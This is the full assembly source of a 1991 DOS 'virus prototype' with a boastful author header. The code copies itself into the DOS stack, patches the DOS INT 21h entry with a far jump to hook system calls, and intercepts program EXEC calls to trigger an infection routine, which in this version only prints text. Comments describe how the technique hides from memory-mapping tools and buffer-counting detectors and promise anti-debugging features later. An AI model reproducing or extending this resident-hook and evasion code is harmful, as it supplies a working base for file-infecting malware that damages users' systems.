;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;± ± ;± V I R U S P R O T O T Y P E ± ;± ± ;± Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ± ;± Date : 25 Jan 1991 21:05 ± ;± Function : Found DOS stack in put himself in it. Then trace DOS ± ;± function EXEC and type 'Infect File' ± ;± ± ;± ± ;± If you want to have fun with this program just run file STACK.COM ± ;± Don't worry, this is not a virus yet, just try to find him in memory ± ;± with PCTools and/or MAPMEM. If you can -> just erase the source - it is ± ;± useless for you. If you can't -> you don't have to look at it - it is too ± ;± difficult to you to understand it. ± ;± Best regards, Waleri Todorov ± ;± ± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± mov ah,52h ; Get DOS segmenty int 21h cmp ax,1234h ; Also check for already here jne Install ; If not -> install in memory ReturnControl int 20h ; This program will give control ; to main file Install mov ax,es ; mov DOS segment in AX mov DosSeg,ax ; Save DOS segment for further usage mov ds,ax ; DS now point in DOS segment call SearchDos ; Search DOS entry point call SearchStack ; Search DOS stack push cs ; DS=ES=CS push cs pop ds pop es mov ax,DosSeg ; get DOS segment in AX mov cl,4 ; AX*=16 shl ax,cl mov bx,StackOff ; Stack new begin in BX and bx,0FFF0h ; Mask low 4 bit add ax,bx ; Compute new real address mov cl,4 ; AX/=16 shr ax,cl ; Now we get SEGMENT:0000 sub ax,10h ; Segment-=10-> SEG:100h mov StackOff,ax ; Save new segment for further usage mov es,ax ; ES point in DOS New area mov si,100h ; ES:DI -> DOS:free_space_in_stack mov di,si ; DS:SI Current segment mov cx,512d ; Virus is only 512 bytes long rep movsb ; Move virus to new place ; Installing virus in DOS' stack we will avoid a conflict with PCTools, ; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't ; affected, so if you have program, that count DOS' buffers to found ; Beast666, she won't found anything. ; In further release of full virus I will include anti-debugger system, ; so you will not be able to trace virus mov di,DosOff ; ES:DI point to DOS int21 entry point mov ax,DosSeg mov es,ax mov al,0EAh ; JMP XXXX:YYYY stosb mov ax,offset Entry21 stosw ; New 21 handler's offset mov ax,StackOff stosw ; New 21 handler's segment ; Now DOS will make far jump to virus. In case that virus won't ; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching, ; and DOSEDIT will operate correctly (with several virus he don't). inc di inc di mov Int21off,di ; Virus will call DOS after jump jmp ReturnControl ; Return control to file ; At this moment, return control is just terminate program via int 20h. ; In further release of full virus this subroutine will be able to ; return control to any file (COM or EXE). ; These are two scanners subroutine. All they do are scanning DOS segment ; for several well-known bytes. Then they update some iternal variables. ; Be patience, when debug this area! SearchDos mov ax,cs:[DosSeg] mov ds,ax xor si,si Search1 lodsw cmp ax,3A2Eh je NextDos1 dec si jmp short Search1 NextDos1 lodsb cmp al,26h je LastDos sub si,2 jmp short Search1 LastDos inc si inc si lodsb cmp al,77h je FoundDos sub si,5 jmp short Search1 FoundDos inc si mov cs:[Int21off],si sub si,7 mov cs:[DosOff],si ret SearchStack xor si,si Search2 lodsw cmp ax,0CB8Ch je NextStack1 dec si jmp short Search2 NextStack1 lodsw cmp ax,0D38Eh je NextStack2 sub si,3 jmp short Search2 NextStack2 lodsb cmp al,0BCh je FoundStack sub si,4 jmp short Search2 FoundStack mov di,si lodsw sub ax,200h stosw mov cs:[StackOff],ax ret Entry21 ; Here is new int 21 handler cmp ah,52h ; If GET_LIST_OF_LISTS jne NextCheck mov ax,1234h ; then probably I am here mov bx,cs:[DosSeg] ; so return special bytes in AX mov es,bx mov bx,26h iret ; Terminate AH=52h->return to caller NextCheck cmp ax,4B00h ; If EXEC file jne GoDos call Infect ; then file will be infected GoDos jmp dword ptr cs:[Int21off] ; Otherwise jump to DOS Infect push ds ; At this moment just write on screen push dx push ax push cs pop ds mov dx,offset Txt mov ah,9 CallDos pushf ; Call real DOS call dword ptr cs:[Int21off] pop ax pop dx pop ds ret Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus DosSeg dw 0 ; DOS segment StackOff dw 0 ; Offset of stack/New segment DosOff dw 0 ; Offset of DOS 21 BEFIRE jump Txt db 'Infect File$' ; Dummy text